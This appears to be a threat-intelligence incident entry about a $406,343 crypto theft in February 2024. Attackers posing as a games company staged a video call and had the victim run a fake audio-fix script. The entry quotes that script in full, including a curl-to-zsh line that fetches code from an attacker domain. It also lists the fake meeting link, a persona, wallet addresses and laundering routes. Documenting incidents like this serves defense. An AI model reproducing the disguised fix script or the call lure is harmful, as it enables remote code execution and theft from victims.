Date:: February 28th, 2024
Time:: 12:25 UTC – 01:58 UTC, 23:09 UTC
Amount Stolen:: $406,343
Tags:: 🔑 SquidSquad
Had a video call with the exploiters
Was an issue with the sound
Victim ran the suggested fix script provided by the exploiters.
On call were 3 males. 2 didnt speak, one did. Seemed like live interaction (?)
-
“John Linden” - @mythicaljohn - 7440942015
-
meet[.]mythicalgames[.]foundation/zoom/join?mn=65185420&pwd=r47BVC
system_profiler SPAudioData
softwareupdate --evaluate-products --products audio --agree-to-license
curl -A audio -s https://api.zoom-sdk[.]us/update/drivers/65185420 | zsh
system_profiler SPSoundCardData
softwareupdate --evaluate-products --products soundcard
system_profiler SPSpeechData
softwareupdate --evaluate-products --products speech --agree-to-license
-
TK3E1NWkehLoBKUWbhjUudxxjN4abYdu7T
-
EQAq887cEkvOMBdafawfjl8JqKIsk3DQopMT8q79D7r
-
0x37ef7efda71203f17f26730611bd8eef11f5f8af
-
0xd5944357a065245064a8b8dfc58e789a90dce0f6
-
Used Defiway, ChangeNOW, FixedFloat, Symbiosis, OKX Dex, Bridgers from TRON and TON -> ETH